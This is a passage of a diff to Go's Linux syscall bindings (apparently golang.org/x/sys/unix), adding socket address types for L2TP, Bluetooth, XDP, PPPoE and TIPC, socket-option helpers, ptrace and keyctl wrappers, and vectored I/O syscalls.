-+type SockaddrL2TPIP struct {
-+ Addr [4]byte
-+ ConnId uint32
-+ raw RawSockaddrL2TPIP
-+}
-+
-+func (sa *SockaddrL2TPIP) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ sa.raw.Family = AF_INET
-+ sa.raw.Conn_id = sa.ConnId
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.raw.Addr[i] = sa.Addr[i]
-+ }
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrL2TPIP, nil
-+}
-+
-+// SockaddrL2TPIP6 implements the Sockaddr interface for IPPROTO_L2TP/AF_INET6 sockets.
-+type SockaddrL2TPIP6 struct {
-+ Addr [16]byte
-+ ZoneId uint32
-+ ConnId uint32
-+ raw RawSockaddrL2TPIP6
-+}
-+
-+func (sa *SockaddrL2TPIP6) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ sa.raw.Family = AF_INET6
-+ sa.raw.Conn_id = sa.ConnId
-+ sa.raw.Scope_id = sa.ZoneId
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.raw.Addr[i] = sa.Addr[i]
-+ }
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrL2TPIP6, nil
-+}
-+
-+func anyToSockaddr(fd int, rsa *RawSockaddrAny) (Sockaddr, error) {
- switch rsa.Addr.Family {
- case AF_NETLINK:
- pp := (*RawSockaddrNetlink)(unsafe.Pointer(rsa))
-@@ -675,30 +918,63 @@ func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
- for n < len(pp.Path) && pp.Path[n] != 0 {
- n++
- }
-- bytes := (*[10000]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
-+ bytes := (*[len(pp.Path)]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
- sa.Name = string(bytes)
- return sa, nil
-
- case AF_INET:
-- pp := (*RawSockaddrInet4)(unsafe.Pointer(rsa))
-- sa := new(SockaddrInet4)
-- p := (*[2]byte)(unsafe.Pointer(&pp.Port))
-- sa.Port = int(p[0])<<8 + int(p[1])
-- for i := 0; i < len(sa.Addr); i++ {
-- sa.Addr[i] = pp.Addr[i]
-+ proto, err := GetsockoptInt(fd, SOL_SOCKET, SO_PROTOCOL)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ switch proto {
-+ case IPPROTO_L2TP:
-+ pp := (*RawSockaddrL2TPIP)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrL2TPIP)
-+ sa.ConnId = pp.Conn_id
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.Addr[i] = pp.Addr[i]
-+ }
-+ return sa, nil
-+ default:
-+ pp := (*RawSockaddrInet4)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrInet4)
-+ p := (*[2]byte)(unsafe.Pointer(&pp.Port))
-+ sa.Port = int(p[0])<<8 + int(p[1])
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.Addr[i] = pp.Addr[i]
-+ }
-+ return sa, nil
- }
-- return sa, nil
-
- case AF_INET6:
-- pp := (*RawSockaddrInet6)(unsafe.Pointer(rsa))
-- sa := new(SockaddrInet6)
-- p := (*[2]byte)(unsafe.Pointer(&pp.Port))
-- sa.Port = int(p[0])<<8 + int(p[1])
-- sa.ZoneId = pp.Scope_id
-- for i := 0; i < len(sa.Addr); i++ {
-- sa.Addr[i] = pp.Addr[i]
-+ proto, err := GetsockoptInt(fd, SOL_SOCKET, SO_PROTOCOL)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ switch proto {
-+ case IPPROTO_L2TP:
-+ pp := (*RawSockaddrL2TPIP6)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrL2TPIP6)
-+ sa.ConnId = pp.Conn_id
-+ sa.ZoneId = pp.Scope_id
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.Addr[i] = pp.Addr[i]
-+ }
-+ return sa, nil
-+ default:
-+ pp := (*RawSockaddrInet6)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrInet6)
-+ p := (*[2]byte)(unsafe.Pointer(&pp.Port))
-+ sa.Port = int(p[0])<<8 + int(p[1])
-+ sa.ZoneId = pp.Scope_id
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.Addr[i] = pp.Addr[i]
-+ }
-+ return sa, nil
- }
-- return sa, nil
-
- case AF_VSOCK:
- pp := (*RawSockaddrVM)(unsafe.Pointer(rsa))
-@@ -706,6 +982,76 @@ func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
- CID: pp.Cid,
- Port: pp.Port,
- }
-+ return sa, nil
-+ case AF_BLUETOOTH:
-+ proto, err := GetsockoptInt(fd, SOL_SOCKET, SO_PROTOCOL)
-+ if err != nil {
-+ return nil, err
-+ }
-+ // only BTPROTO_L2CAP and BTPROTO_RFCOMM can accept connections
-+ switch proto {
-+ case BTPROTO_L2CAP:
-+ pp := (*RawSockaddrL2)(unsafe.Pointer(rsa))
-+ sa := &SockaddrL2{
-+ PSM: pp.Psm,
-+ CID: pp.Cid,
-+ Addr: pp.Bdaddr,
-+ AddrType: pp.Bdaddr_type,
-+ }
-+ return sa, nil
-+ case BTPROTO_RFCOMM:
-+ pp := (*RawSockaddrRFCOMM)(unsafe.Pointer(rsa))
-+ sa := &SockaddrRFCOMM{
-+ Channel: pp.Channel,
-+ Addr: pp.Bdaddr,
-+ }
-+ return sa, nil
-+ }
-+ case AF_XDP:
-+ pp := (*RawSockaddrXDP)(unsafe.Pointer(rsa))
-+ sa := &SockaddrXDP{
-+ Flags: pp.Flags,
-+ Ifindex: pp.Ifindex,
-+ QueueID: pp.Queue_id,
-+ SharedUmemFD: pp.Shared_umem_fd,
-+ }
-+ return sa, nil
-+ case AF_PPPOX:
-+ pp := (*RawSockaddrPPPoX)(unsafe.Pointer(rsa))
-+ if binary.BigEndian.Uint32(pp[2:6]) != px_proto_oe {
-+ return nil, EINVAL
-+ }
-+ sa := &SockaddrPPPoE{
-+ SID: binary.BigEndian.Uint16(pp[6:8]),
-+ Remote: pp[8:14],
-+ }
-+ for i := 14; i < 14+IFNAMSIZ; i++ {
-+ if pp[i] == 0 {
-+ sa.Dev = string(pp[14:i])
-+ break
-+ }
-+ }
-+ return sa, nil
-+ case AF_TIPC:
-+ pp := (*RawSockaddrTIPC)(unsafe.Pointer(rsa))
-+
-+ sa := &SockaddrTIPC{
-+ Scope: int(pp.Scope),
-+ }
-+
-+ // Determine which union variant is present in pp.Addr by checking
-+ // pp.Addrtype.
-+ switch pp.Addrtype {
-+ case TIPC_SERVICE_RANGE:
-+ sa.Addr = (*TIPCServiceRange)(unsafe.Pointer(&pp.Addr))
-+ case TIPC_SERVICE_ADDR:
-+ sa.Addr = (*TIPCServiceName)(unsafe.Pointer(&pp.Addr))
-+ case TIPC_SOCKET_ADDR:
-+ sa.Addr = (*TIPCSocketAddr)(unsafe.Pointer(&pp.Addr))
-+ default:
-+ return nil, EINVAL
-+ }
-+
- return sa, nil
- }
- return nil, EAFNOSUPPORT
-@@ -718,7 +1064,7 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
- if err != nil {
- return
- }
-- sa, err = anyToSockaddr(&rsa)
-+ sa, err = anyToSockaddr(fd, &rsa)
- if err != nil {
- Close(nfd)
- nfd = 0
-@@ -736,7 +1082,7 @@ func Accept4(fd int, flags int) (nfd int, sa Sockaddr, err error) {
- if len > SizeofSockaddrAny {
- panic("RawSockaddrAny too small")
- }
-- sa, err = anyToSockaddr(&rsa)
-+ sa, err = anyToSockaddr(fd, &rsa)
- if err != nil {
- Close(nfd)
- nfd = 0
-@@ -750,20 +1096,7 @@ func Getsockname(fd int) (sa Sockaddr, err error) {
- if err = getsockname(fd, &rsa, &len); err != nil {
- return
- }
-- return anyToSockaddr(&rsa)
--}
--
--func GetsockoptInet4Addr(fd, level, opt int) (value [4]byte, err error) {
-- vallen := _Socklen(4)
-- err = getsockopt(fd, level, opt, unsafe.Pointer(&value[0]), &vallen)
-- return value, err
--}
--
--func GetsockoptIPMreq(fd, level, opt int) (*IPMreq, error) {
-- var value IPMreq
-- vallen := _Socklen(SizeofIPMreq)
-- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-- return &value, err
-+ return anyToSockaddr(fd, &rsa)
- }
-
- func GetsockoptIPMreqn(fd, level, opt int) (*IPMreqn, error) {
-@@ -773,37 +1106,48 @@ func GetsockoptIPMreqn(fd, level, opt int) (*IPMreqn, error) {
- return &value, err
- }
-
--func GetsockoptIPv6Mreq(fd, level, opt int) (*IPv6Mreq, error) {
-- var value IPv6Mreq
-- vallen := _Socklen(SizeofIPv6Mreq)
-+func GetsockoptUcred(fd, level, opt int) (*Ucred, error) {
-+ var value Ucred
-+ vallen := _Socklen(SizeofUcred)
- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
- return &value, err
- }
-
--func GetsockoptIPv6MTUInfo(fd, level, opt int) (*IPv6MTUInfo, error) {
-- var value IPv6MTUInfo
-- vallen := _Socklen(SizeofIPv6MTUInfo)
-+func GetsockoptTCPInfo(fd, level, opt int) (*TCPInfo, error) {
-+ var value TCPInfo
-+ vallen := _Socklen(SizeofTCPInfo)
- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
- return &value, err
- }
-
--func GetsockoptICMPv6Filter(fd, level, opt int) (*ICMPv6Filter, error) {
-- var value ICMPv6Filter
-- vallen := _Socklen(SizeofICMPv6Filter)
-- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-- return &value, err
-+// GetsockoptString returns the string value of the socket option opt for the
-+// socket associated with fd at the given socket level.
-+func GetsockoptString(fd, level, opt int) (string, error) {
-+ buf := make([]byte, 256)
-+ vallen := _Socklen(len(buf))
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&buf[0]), &vallen)
-+ if err != nil {
-+ if err == ERANGE {
-+ buf = make([]byte, vallen)
-+ err = getsockopt(fd, level, opt, unsafe.Pointer(&buf[0]), &vallen)
-+ }
-+ if err != nil {
-+ return "", err
-+ }
-+ }
-+ return string(buf[:vallen-1]), nil
- }
-
--func GetsockoptUcred(fd, level, opt int) (*Ucred, error) {
-- var value Ucred
-- vallen := _Socklen(SizeofUcred)
-+func GetsockoptTpacketStats(fd, level, opt int) (*TpacketStats, error) {
-+ var value TpacketStats
-+ vallen := _Socklen(SizeofTpacketStats)
- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
- return &value, err
- }
-
--func GetsockoptTCPInfo(fd, level, opt int) (*TCPInfo, error) {
-- var value TCPInfo
-- vallen := _Socklen(SizeofTCPInfo)
-+func GetsockoptTpacketStatsV3(fd, level, opt int) (*TpacketStatsV3, error) {
-+ var value TpacketStatsV3
-+ vallen := _Socklen(SizeofTpacketStatsV3)
- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
- return &value, err
- }
-@@ -812,6 +1156,32 @@ func SetsockoptIPMreqn(fd, level, opt int, mreq *IPMreqn) (err error) {
- return setsockopt(fd, level, opt, unsafe.Pointer(mreq), unsafe.Sizeof(*mreq))
- }
-
-+func SetsockoptPacketMreq(fd, level, opt int, mreq *PacketMreq) error {
-+ return setsockopt(fd, level, opt, unsafe.Pointer(mreq), unsafe.Sizeof(*mreq))
-+}
-+
-+// SetsockoptSockFprog attaches a classic BPF or an extended BPF program to a
-+// socket to filter incoming packets. See 'man 7 socket' for usage information.
-+func SetsockoptSockFprog(fd, level, opt int, fprog *SockFprog) error {
-+ return setsockopt(fd, level, opt, unsafe.Pointer(fprog), unsafe.Sizeof(*fprog))
-+}
-+
-+func SetsockoptCanRawFilter(fd, level, opt int, filter []CanFilter) error {
-+ var p unsafe.Pointer
-+ if len(filter) > 0 {
-+ p = unsafe.Pointer(&filter[0])
-+ }
-+ return setsockopt(fd, level, opt, p, uintptr(len(filter)*SizeofCanFilter))
-+}
-+
-+func SetsockoptTpacketReq(fd, level, opt int, tp *TpacketReq) error {
-+ return setsockopt(fd, level, opt, unsafe.Pointer(tp), unsafe.Sizeof(*tp))
-+}
-+
-+func SetsockoptTpacketReq3(fd, level, opt int, tp *TpacketReq3) error {
-+ return setsockopt(fd, level, opt, unsafe.Pointer(tp), unsafe.Sizeof(*tp))
-+}
-+
- // Keyctl Commands (http://man7.org/linux/man-pages/man2/keyctl.2.html)
-
- // KeyctlInt calls keyctl commands in which each argument is an int.
-@@ -919,6 +1289,34 @@ func KeyctlDHCompute(params *KeyctlDHParams, buffer []byte) (size int, err error
- return keyctlDH(KEYCTL_DH_COMPUTE, params, buffer)
- }
-
-+// KeyctlRestrictKeyring implements the KEYCTL_RESTRICT_KEYRING command. This
-+// command limits the set of keys that can be linked to the keyring, regardless
-+// of keyring permissions. The command requires the "setattr" permission.
-+//
-+// When called with an empty keyType the command locks the keyring, preventing
-+// any further keys from being linked to the keyring.
-+//
-+// The "asymmetric" keyType defines restrictions requiring key payloads to be
-+// DER encoded X.509 certificates signed by keys in another keyring. Restrictions
-+// for "asymmetric" include "builtin_trusted", "builtin_and_secondary_trusted",
-+// "key_or_keyring:<key>", and "key_or_keyring:<key>:chain".
-+//
-+// As of Linux 4.12, only the "asymmetric" keyType defines type-specific
-+// restrictions.
-+//
-+// See the full documentation at:
-+// http://man7.org/linux/man-pages/man3/keyctl_restrict_keyring.3.html
-+// http://man7.org/linux/man-pages/man2/keyctl.2.html
-+func KeyctlRestrictKeyring(ringid int, keyType string, restriction string) error {
-+ if keyType == "" {
-+ return keyctlRestrictKeyring(KEYCTL_RESTRICT_KEYRING, ringid)
-+ }
-+ return keyctlRestrictKeyringByType(KEYCTL_RESTRICT_KEYRING, ringid, keyType, restriction)
-+}
-+
-+//sys keyctlRestrictKeyringByType(cmd int, arg2 int, keyType string, restriction string) (err error) = SYS_KEYCTL
-+//sys keyctlRestrictKeyring(cmd int, arg2 int) (err error) = SYS_KEYCTL
-+
- func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
- var msg Msghdr
- var rsa RawSockaddrAny
-@@ -926,22 +1324,24 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
- msg.Namelen = uint32(SizeofSockaddrAny)
- var iov Iovec
- if len(p) > 0 {
-- iov.Base = (*byte)(unsafe.Pointer(&p[0]))
-+ iov.Base = &p[0]
- iov.SetLen(len(p))
- }
- var dummy byte
- if len(oob) > 0 {
-- var sockType int
-- sockType, err = GetsockoptInt(fd, SOL_SOCKET, SO_TYPE)
-- if err != nil {
-- return
-+ if len(p) == 0 {
-+ var sockType int
-+ sockType, err = GetsockoptInt(fd, SOL_SOCKET, SO_TYPE)
-+ if err != nil {
-+ return
-+ }
-+ // receive at least one normal byte
-+ if sockType != SOCK_DGRAM {
-+ iov.Base = &dummy
-+ iov.SetLen(1)
-+ }
- }
-- // receive at least one normal byte
-- if sockType != SOCK_DGRAM && len(p) == 0 {
-- iov.Base = &dummy
-- iov.SetLen(1)
-- }
-- msg.Control = (*byte)(unsafe.Pointer(&oob[0]))
-+ msg.Control = &oob[0]
- msg.SetControllen(len(oob))
- }
- msg.Iov = &iov
-@@ -953,7 +1353,7 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
- recvflags = int(msg.Flags)
- // source address is only specified if the socket is unconnected
- if rsa.Addr.Family != AF_UNSPEC {
-- from, err = anyToSockaddr(&rsa)
-+ from, err = anyToSockaddr(fd, &rsa)
- }
- return
- }
-@@ -974,26 +1374,28 @@ func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error)
- }
- }
- var msg Msghdr
-- msg.Name = (*byte)(unsafe.Pointer(ptr))
-+ msg.Name = (*byte)(ptr)
- msg.Namelen = uint32(salen)
- var iov Iovec
- if len(p) > 0 {
-- iov.Base = (*byte)(unsafe.Pointer(&p[0]))
-+ iov.Base = &p[0]
- iov.SetLen(len(p))
- }
- var dummy byte
- if len(oob) > 0 {
-- var sockType int
-- sockType, err = GetsockoptInt(fd, SOL_SOCKET, SO_TYPE)
-- if err != nil {
-- return 0, err
-+ if len(p) == 0 {
-+ var sockType int
-+ sockType, err = GetsockoptInt(fd, SOL_SOCKET, SO_TYPE)
-+ if err != nil {
-+ return 0, err
-+ }
-+ // send at least one normal byte
-+ if sockType != SOCK_DGRAM {
-+ iov.Base = &dummy
-+ iov.SetLen(1)
-+ }
- }
-- // send at least one normal byte
-- if sockType != SOCK_DGRAM && len(p) == 0 {
-- iov.Base = &dummy
-- iov.SetLen(1)
-- }
-- msg.Control = (*byte)(unsafe.Pointer(&oob[0]))
-+ msg.Control = &oob[0]
- msg.SetControllen(len(oob))
- }
- msg.Iov = &iov
-@@ -1021,20 +1423,20 @@ func ptracePeek(req int, pid int, addr uintptr, out []byte) (count int, err erro
- // The ptrace syscall differs from glibc's ptrace.
- // Peeks returns the word in *data, not as the return value.
-
-- var buf [sizeofPtr]byte
-+ var buf [SizeofPtr]byte
-
-- // Leading edge. PEEKTEXT/PEEKDATA don't require aligned
-+ // Leading edge. PEEKTEXT/PEEKDATA don't require aligned
- // access (PEEKUSER warns that it might), but if we don't
- // align our reads, we might straddle an unmapped page
- // boundary and not get the bytes leading up to the page
- // boundary.
- n := 0
-- if addr%sizeofPtr != 0 {
-- err = ptrace(req, pid, addr-addr%sizeofPtr, uintptr(unsafe.Pointer(&buf[0])))
-+ if addr%SizeofPtr != 0 {
-+ err = ptrace(req, pid, addr-addr%SizeofPtr, uintptr(unsafe.Pointer(&buf[0])))
- if err != nil {
- return 0, err
- }
-- n += copy(out, buf[addr%sizeofPtr:])
-+ n += copy(out, buf[addr%SizeofPtr:])
- out = out[n:]
- }
-
-@@ -1072,15 +1474,15 @@ func ptracePoke(pokeReq int, peekReq int, pid int, addr uintptr, data []byte) (c
-
- // Leading edge.
- n := 0
-- if addr%sizeofPtr != 0 {
-- var buf [sizeofPtr]byte
-- err = ptrace(peekReq, pid, addr-addr%sizeofPtr, uintptr(unsafe.Pointer(&buf[0])))
-+ if addr%SizeofPtr != 0 {
-+ var buf [SizeofPtr]byte
-+ err = ptrace(peekReq, pid, addr-addr%SizeofPtr, uintptr(unsafe.Pointer(&buf[0])))
- if err != nil {
- return 0, err
- }
-- n += copy(buf[addr%sizeofPtr:], data)
-+ n += copy(buf[addr%SizeofPtr:], data)
- word := *((*uintptr)(unsafe.Pointer(&buf[0])))
-- err = ptrace(pokeReq, pid, addr-addr%sizeofPtr, word)
-+ err = ptrace(pokeReq, pid, addr-addr%SizeofPtr, word)
- if err != nil {
- return 0, err
- }
-@@ -1088,19 +1490,19 @@ func ptracePoke(pokeReq int, peekReq int, pid int, addr uintptr, data []byte) (c
- }
-
- // Interior.
-- for len(data) > sizeofPtr {
-+ for len(data) > SizeofPtr {
- word := *((*uintptr)(unsafe.Pointer(&data[0])))
- err = ptrace(pokeReq, pid, addr+uintptr(n), word)
- if err != nil {
- return n, err
- }
-- n += sizeofPtr
-- data = data[sizeofPtr:]
-+ n += SizeofPtr
-+ data = data[SizeofPtr:]
- }
-
- // Trailing edge.
- if len(data) > 0 {
-- var buf [sizeofPtr]byte
-+ var buf [SizeofPtr]byte
- err = ptrace(peekReq, pid, addr+uintptr(n), uintptr(unsafe.Pointer(&buf[0])))
- if err != nil {
- return n, err
-@@ -1125,6 +1527,10 @@ func PtracePokeData(pid int, addr uintptr, data []byte) (count int, err error) {
- return ptracePoke(PTRACE_POKEDATA, PTRACE_PEEKDATA, pid, addr, data)
- }
-
-+func PtracePokeUser(pid int, addr uintptr, data []byte) (count int, err error) {
-+ return ptracePoke(PTRACE_POKEUSR, PTRACE_PEEKUSR, pid, addr, data)
-+}
-+
- func PtraceGetRegs(pid int, regsout *PtraceRegs) (err error) {
- return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
- }
-@@ -1154,8 +1560,12 @@ func PtraceSyscall(pid int, signal int) (err error) {
-
- func PtraceSingleStep(pid int) (err error) { return ptrace(PTRACE_SINGLESTEP, pid, 0, 0) }
-
-+func PtraceInterrupt(pid int) (err error) { return ptrace(PTRACE_INTERRUPT, pid, 0, 0) }
-+
- func PtraceAttach(pid int) (err error) { return ptrace(PTRACE_ATTACH, pid, 0, 0) }
-
-+func PtraceSeize(pid int) (err error) { return ptrace(PTRACE_SEIZE, pid, 0, 0) }
-+
- func PtraceDetach(pid int) (err error) { return ptrace(PTRACE_DETACH, pid, 0, 0) }
-
- //sys reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error)
-@@ -1164,10 +1574,6 @@ func Reboot(cmd int) (err error) {
- return reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, cmd, "")
- }
-
--func ReadDirent(fd int, buf []byte) (n int, err error) {
-- return Getdents(fd, buf)
--}
--
- func direntIno(buf []byte) (uint64, bool) {
- return readInt(buf, unsafe.Offsetof(Dirent{}.Ino), unsafe.Sizeof(Dirent{}.Ino))
- }
-@@ -1199,6 +1605,13 @@ func Mount(source string, target string, fstype string, flags uintptr, data stri
- return mount(source, target, fstype, flags, datap)
- }
-
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
-+}
-+
- // Sendto
- // Recvfrom
- // Socketpair
-@@ -1209,26 +1622,33 @@ func Mount(source string, target string, fstype string, flags uintptr, data stri
- //sys Acct(path string) (err error)
- //sys AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error)
- //sys Adjtimex(buf *Timex) (state int, err error)
-+//sysnb Capget(hdr *CapUserHeader, data *CapUserData) (err error)
-+//sysnb Capset(hdr *CapUserHeader, data *CapUserData) (err error)
- //sys Chdir(path string) (err error)
- //sys Chroot(path string) (err error)
-+//sys ClockGetres(clockid int32, res *Timespec) (err error)
- //sys ClockGettime(clockid int32, time *Timespec) (err error)
-+//sys ClockNanosleep(clockid int32, flags int, request *Timespec, remain *Timespec) (err error)
- //sys Close(fd int) (err error)
- //sys CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error)
-+//sys DeleteModule(name string, flags int) (err error)
- //sys Dup(oldfd int) (fd int, err error)
- //sys Dup3(oldfd int, newfd int, flags int) (err error)
--//sysnb EpollCreate(size int) (fd int, err error)
- //sysnb EpollCreate1(flag int) (fd int, err error)
- //sysnb EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error)
- //sys Eventfd(initval uint, flags int) (fd int, err error) = SYS_EVENTFD2
- //sys Exit(code int) = SYS_EXIT_GROUP
--//sys Faccessat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fallocate(fd int, mode uint32, off int64, len int64) (err error)
- //sys Fchdir(fd int) (err error)
- //sys Fchmod(fd int, mode uint32) (err error)
- //sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
--//sys fcntl(fd int, cmd int, arg int) (val int, err error)
- //sys Fdatasync(fd int) (err error)
-+//sys Fgetxattr(fd int, attr string, dest []byte) (sz int, err error)
-+//sys FinitModule(fd int, params string, flags int) (err error)
-+//sys Flistxattr(fd int, dest []byte) (sz int, err error)
- //sys Flock(fd int, how int) (err error)
-+//sys Fremovexattr(fd int, attr string) (err error)
-+//sys Fsetxattr(fd int, attr string, dest []byte, flags int) (err error)
- //sys Fsync(fd int) (err error)
- //sys Getdents(fd int, buf []byte) (n int, err error) = SYS_GETDENTS64
- //sysnb Getpgid(pid int) (pgid int, err error)
-@@ -1246,6 +1666,7 @@ func Getpgrp() (pid int) {
- //sysnb Getsid(pid int) (sid int, err error)
- //sysnb Gettid() (tid int)
- //sys Getxattr(path string, attr string, dest []byte) (sz int, err error)
-+//sys InitModule(moduleImage []byte, params string) (err error)
- //sys InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error)
- //sysnb InotifyInit1(flags int) (fd int, err error)
- //sysnb InotifyRmWatch(fd int, watchdesc uint32) (success int, err error)
-@@ -1256,15 +1677,18 @@ func Getpgrp() (pid int) {
- //sys Llistxattr(path string, dest []byte) (sz int, err error)
- //sys Lremovexattr(path string, attr string) (err error)
- //sys Lsetxattr(path string, attr string, data []byte, flags int) (err error)
-+//sys MemfdCreate(name string, flags int) (fd int, err error)
- //sys Mkdirat(dirfd int, path string, mode uint32) (err error)
- //sys Mknodat(dirfd int, path string, mode uint32, dev int) (err error)
- //sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
-+//sys PerfEventOpen(attr *PerfEventAttr, pid int, cpu int, groupFd int, flags int) (fd int, err error)
- //sys PivotRoot(newroot string, putold string) (err error) = SYS_PIVOT_ROOT
- //sysnb prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) = SYS_PRLIMIT64
- //sys Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error)
-+//sys Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) = SYS_PSELECT6
- //sys read(fd int, p []byte) (n int, err error)
- //sys Removexattr(path string, attr string) (err error)
--//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
-+//sys Renameat2(olddirfd int, oldpath string, newdirfd int, newpath string, flags uint) (err error)
- //sys RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error)
- //sys Setdomainname(p []byte) (err error)
- //sys Sethostname(p []byte) (err error)
-@@ -1273,6 +1697,17 @@ func Getpgrp() (pid int) {
- //sysnb Settimeofday(tv *Timeval) (err error)
- //sys Setns(fd int, nstype int) (err error)
-
-+// PrctlRetInt performs a prctl operation specified by option and further
-+// optional arguments arg2 through arg5 depending on option. It returns a
-+// non-negative integer that is returned by the prctl syscall.
-+func PrctlRetInt(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (int, error) {
-+ ret, _, err := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-+ if err != 0 {
-+ return 0, err
-+ }
-+ return int(ret), nil
-+}
-+
- // issue 1435.
- // On linux Setuid and Setgid only affects the current thread, not the process.
- // This does not match what most callers expect so we must return an error
-@@ -1286,8 +1721,38 @@ func Setgid(uid int) (err error) {
- return EOPNOTSUPP
- }
-
-+// SetfsgidRetGid sets fsgid for current thread and returns previous fsgid set.
-+// setfsgid(2) will return a non-nil error only if its caller lacks CAP_SETUID capability.
-+// If the call fails due to other reasons, current fsgid will be returned.
-+func SetfsgidRetGid(gid int) (int, error) {
-+ return setfsgid(gid)
-+}
-+
-+// SetfsuidRetUid sets fsuid for current thread and returns previous fsuid set.
-+// setfsgid(2) will return a non-nil error only if its caller lacks CAP_SETUID capability
-+// If the call fails due to other reasons, current fsuid will be returned.
-+func SetfsuidRetUid(uid int) (int, error) {
-+ return setfsuid(uid)
-+}
-+
-+func Setfsgid(gid int) error {
-+ _, err := setfsgid(gid)
-+ return err
-+}
-+
-+func Setfsuid(uid int) error {
-+ _, err := setfsuid(uid)
-+ return err
-+}
-+
-+func Signalfd(fd int, sigmask *Sigset_t, flags int) (newfd int, err error) {
-+ return signalfd(fd, sigmask, _C__NSIG/8, flags)
-+}
-+
- //sys Setpriority(which int, who int, prio int) (err error)
- //sys Setxattr(path string, attr string, data []byte, flags int) (err error)
-+//sys signalfd(fd int, sigmask *Sigset_t, maskSize uintptr, flags int) (newfd int, err error) = SYS_SIGNALFD4
-+//sys Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error)
- //sys Sync()
- //sys Syncfs(fd int) (err error)
- //sysnb Sysinfo(info *Sysinfo_t) (err error)
-@@ -1298,11 +1763,127 @@ func Setgid(uid int) (err error) {
- //sysnb Uname(buf *Utsname) (err error)
- //sys Unmount(target string, flags int) (err error) = SYS_UMOUNT2
- //sys Unshare(flags int) (err error)
--//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sys write(fd int, p []byte) (n int, err error)
- //sys exitThread(code int) (err error) = SYS_EXIT
- //sys readlen(fd int, p *byte, np int) (n int, err error) = SYS_READ
- //sys writelen(fd int, p *byte, np int) (n int, err error) = SYS_WRITE
-+//sys readv(fd int, iovs []Iovec) (n int, err error) = SYS_READV
-+//sys writev(fd int, iovs []Iovec) (n int, err error) = SYS_WRITEV
-+//sys preadv(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr) (n int, err error) = SYS_PREADV
-+//sys pwritev(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr) (n int, err error) = SYS_PWRITEV
-+//sys preadv2(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr, flags int) (n int, err error) = SYS_PREADV2
-+//sys pwritev2(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr, flags int) (n int, err error) = SYS_PWRITEV2
-+
-+func bytes2iovec(bs [][]byte) []Iovec {
-+ iovecs := make([]Iovec, len(bs))
-+ for i, b := range bs {
-+ iovecs[i].SetLen(len(b))
-+ if len(b) > 0 {
-+ iovecs[i].Base = &b[0]
-+ } else {
-+ iovecs[i].Base = (*byte)(unsafe.Pointer(&_zero))
-+ }
-+ }
-+ return iovecs
-+}
-+
-+// offs2lohi splits offs into its lower and upper unsigned long. On 64-bit
-+// systems, hi will always be 0. On 32-bit systems, offs will be split in half.
-+// preadv/pwritev chose this calling convention so they don't need to add a
-+// padding-register for alignment on ARM.
-+func offs2lohi(offs int64) (lo, hi uintptr) {
-+ return uintptr(offs), uintptr(uint64(offs) >> SizeofLong)
-+}
-+
-+func Readv(fd int, iovs [][]byte) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ n, err = readv(fd, iovecs)
-+ readvRacedetect(iovecs, n, err)
-+ return n, err
-+}
-+
